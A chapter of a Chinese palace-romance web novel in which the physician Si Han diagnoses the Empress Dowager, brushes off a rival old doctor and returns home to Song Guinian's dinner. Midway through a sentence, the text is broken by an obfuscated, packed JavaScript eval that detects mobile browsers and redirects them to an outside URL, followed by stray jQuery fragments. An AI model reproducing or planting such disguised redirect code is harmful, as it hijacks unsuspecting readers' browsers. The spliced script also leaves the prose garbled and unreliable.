默认冷灰
24号文字
方正启体

24. 第二十四章 齐风

作者:莐昔本书字数:K更新时间:
    “说什么我年纪小,医术定然不精。”


    少年说着上了头,一张嘴撅着,不服气道:“我看他们就是倚老卖老。”


    听他这样的话,司寒只是置之一笑。


    这少年八成是看她不是个好惹的人,这才急着攀上来。若真是像他自己说的那样这般忿忿不平。刚刚在她受人欺辱的时候,又怎么不站出来为她说句话。


    故而司寒并没有与那少年多加攀谈的意思。拒绝交谈的意思表现的很是明显。


    然而,不知那人是真看不懂眼色,还是不愿意放弃。司寒虽未搭理他,他却仍自顾自地说着。


    “我叫齐风,姐姐你叫什么名字?”


    齐风眨巴着一双眼睛,直勾勾地盯着司寒,大有司寒不答话他就要一直这样的意思。


    司寒没办法,只得说道:“司寒。”


    听见司寒终于搭了话,齐风一双眼睛晚成了月牙,“姐姐人长得好看,名字也好听。”


    司寒的目光落在齐风的脸上细看了看。


    眼前的人生着一张娃娃脸,看不出年纪大小,瞧着倒是比自己要小一些。


    但是被一个陌生男子一口一个姐姐的叫着,司寒还是不大习惯。


    本想纠正,但转念一想,自己与这人估计也只有一面之缘,何须再多费口舌。


    遂只是点了点头,而后再闭口不言。


    屋子里的医士一个接一个地被传召入殿,回来时无一不是垂头丧气的,拎起自己的医箱灰溜溜地出宫门去。


    唯有那一开始的那位老者,虽说也是摇着头回来的,却没有一点要走的意思。


    一双浑浊的眼睛盯着司寒。


    司寒与他的目光对视上片刻。


    心中了然,这人是想等着看自己束手无策的样子呢。


    可惜……


    只怕是要让他失望了。


    片刻之后,姚公公终于带着司寒进了太后的寝宫。


    撩开一层一层的帷幔纱帐,司寒终于见到了半卧在床榻上的太后。


    规矩行礼道:“民女司寒,见过太后。”


    太后凤眸微挑,眼神却不是看向她,而是向姚公公道:“到底还要折腾哀家到什么时候?有这工夫还不如让国师来给哀家看看。”


    姚公公哪里敢违背太后的意思,连忙赔着笑道:“太后息怒,这……陛下也是为了您的身子着想啊。太后这些天一直病着,陛下担心啊。”


    两人你来我往地说了几句话,司寒未得旨意,只得跪在地上不得起身。


    终于,太后像是忽然发现了她一样,说道:“怎么还跪着,真是哀家不好,忘了让你起来了。”


    而后招呼一旁的宫女道:“还不快给这位大夫拿个凳子?”


    忍着膝盖处的酸痛不适,司寒道:“谢太后恩典。”


    太后伸出一只手腕,递到司寒跟前,“吵吵嚷嚷的一上午了,也没人看出个名堂来。”


    太后叹了口气,复而道:“不是说没法子治,就是说哀家身子不好,吃不了那些药。”


    “说白了,不就是没本事吗。”


    “还不如国师,至少他来为哀家做一场法事,哀家身上能松泛许多。”


    司寒敛眉细细探着太后的脉象,片刻之后收回手道:“太后,民女有一医方,可医您的病。”


    这话说的如此肯定,太后微微坐直了身子。


    她长年累月地饱受头疾的纠缠。吃了无数的药,可是都没有用。


    司寒能说出这样的话,确实让她意外。


    可也让她怀疑。


    “你这样轻的年纪,如何能有什么好的医方。”说着,语气也变的凌厉起来,“你若是敢诓骗哀家,那就是欺瞒皇室,可是要掉脑袋的。”


    “哀家再问你一次,你当真,能治好哀家的病?”


    司寒方才已经探过,太后的脉象,其实就是肝阳上亢脉络瘀阻证。


    “敢问太后是否时常头痛而目眩,心烦易怒,睡眠不宁?”


    听她这样说,太后看向司寒的眼里才带了几分认真。


    “确实如你所言。”


    司寒道:“那便是了,肝阴不足,肝阳上亢,风阳上扰头目,故头痛而眩。”


    太后可不想听这些医理之说,只一摆手道:“这些都不必讲与哀家听,哀家也听不懂。只一点,你告诉哀家,这要如何医治?”


    司寒沉声道:“只需平肝潜阳即可。”


    “民女会拟了医方,交由太医院的太医们一同看看。”


    太后见司寒说的头头是道,心里的疑虑也打消了几分。


    “你瞧着倒真是有几分本事的。”太后收回手,道:“若是你真能治好哀家的病,以后的荣华富贵,可是少不了你的。”


    司寒起身再拜道:“民女多谢太后。”


    此时,姚公公适时上前道:“既然这位司大夫已经有了定论,偏殿里还有其余几位太医,不知太后可要宣他们再看看。”


    太后病中不喜折腾,此时略微一蹙眉,说道:“让那些人都回去吧,给些银两也就罢了。”


    姚公公得了令,带着司寒一同告退。


    回到偏殿的时候,司寒见那老者还在那里坐着。


    还不等她说什么,那老者先一步开口道:“不知这位小友为太后诊治的如何?可否与老夫浅谈一二。”


    这老者话虽说的客气,可那语气里的挖苦之意,却是无论如何都藏不住的。


    他想借此撮一撮司寒的气焰。


    但司寒必定是不能让他如愿了。


    那老者不知道司寒真正的身份,可是姚公公心里可是门清。


    这样的事情,自然无需司寒亲自动口说什么。


    于是他清了清嗓子,开口道:“司大夫可是已经拟出了能医治太后的病的医方。奴才在这,还得感谢司大夫呢。往后啊,宫中可是要多一位女太医喽。”


    果然,一听司寒开出了医方,还能获封太医,那老者脸上青一阵红一阵白一阵的,最后黑沉着一张脸。


    收拾了自己的东西,就往门外走。


    临出门时,想想还是不服气,对司寒说了句:“那可是要恭喜小友了,只是作为过来人还是要提醒小友一句,小友年轻气盛,若是看错了病,那可就是掉脑袋的大事。”


    司寒可没心思和那老者掰扯什么,对他说的这句话,也只是淡淡一笑道:“多谢。”


    那老者一拳就像是打在了棉花上,气的不上不下的。


    却也奈何不得,只得愤愤地出宫去。


    姚公公复又将太后的意思转达给了殿内其他的医士。


    几人听过之后纷纷离去。


    因着刚刚齐风跟自己搭过话,所以司


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810056|175190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寒格外有印象,此时却没见着他的身影。


    不禁奇怪道:“姚公公,你可有见过刚刚殿内等着的人里,有一个少年?瞧着十六七岁左右的样子?”


    姚公公闻言笑道:“您这就是在跟奴才说笑了,这殿里的人,您就是最年轻的了,再年轻的也已过了而立之年。哪里能有十六七岁的少年啊?”


    司寒没在姚公公这里得到答案,心中对那少年的身份起了些疑虑,这少年如若不是从宫外来的太医,那就只能是宫里的人。


    在这宫里的人,又有谁能随意出入太后的偏殿呢?


    只怕此人的身份不简单。


    但司寒对皇宫里的事情也不是特别感兴趣,只是随口一问。她只需做好自己的事情也就是了。


    拟好了医方交给姚公公,后者躬身道:“奴才先送您出宫,若是太后的病能有好转,想必陛下的旨意不过三五日就能传到您府上了。”


    司寒了然颔首。


    这番折腾下来,回到宅子的时候,已是夕阳西下。


    橘色的落日余晖散落下来,司寒后知后觉地感受到这一天奔波下来的疲惫辛苦。


    锤了锤自己泛酸的双肩,司寒推开宅院的门,鼻尖敏锐地嗅到一点熟悉的香气。


    是那日望仙楼的烧鹅?


    不知为何,闻着这味道,司寒的心情也松泛了许多。


    快步走到屋内,就见宋归年捧着一卷书,坐在桌旁,支着一只手撑着脑袋。


    就好像是在曾经在王府一样。


    但是……又好像有哪里不一样。


    比如……现在给她的感觉就是……有一种民间常说的,丈夫在外打拼,妻子在家煮饭,点一盏灯等她的夫君归家。


    只是在他们这里,身份换了一下而已。


    是妻子在外打拼……丈夫在家洗手作羹汤。


    宋归年看书看的出神,没注意到司寒已经回来了。


    后者轻轻咳了一声,宋归年这才猛地回过神来。


    司寒径直走过去就要拿宋归年的书,“看什么呢,这么入迷?给我也看看?”


    岂料宋归年见她伸过来的手,连忙将这书往背后藏去,说道:“没什么,一点兵书罢了。”


    随后岔开话题道:“这么晚回来,你必然是饿了。上次见你在望仙楼爱吃,我特意命望仙楼的厨子做的。”


    宋归年的反应有点奇怪,不过人或多或少都有点小秘密,司寒也不在意。


    倒是这望仙楼的菜品……


    司寒疑惑道:“望仙楼不是早被一把火烧了吗?如何还能……”


    宋归年拿过碗给她盛了一碗汤,放到她面前道:“现在望仙楼虽说没有了,但是厨子还在。”


    “再者而言,望仙楼是陛下的产业,自然不会这么轻易地被一把火就烧没了,只是还在重建罢了。”


    司寒听明白了宋归年的意思,端起碗尝了一口汤的味道。


    果然和那天在望仙楼里喝到的一般无二。


    司寒忽然灵光一现,似乎……宋归年每次要送她些什么,或是和她示好,都是准备一桌子的菜。


    上次是糕点,过生辰时是菜肴。带她出来,也是望仙楼,现下又是特意找了厨子。


    这样想着,司寒也就将心里的疑惑问出了口:“你好像很喜欢给我送吃的东西,是你自己喜欢吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)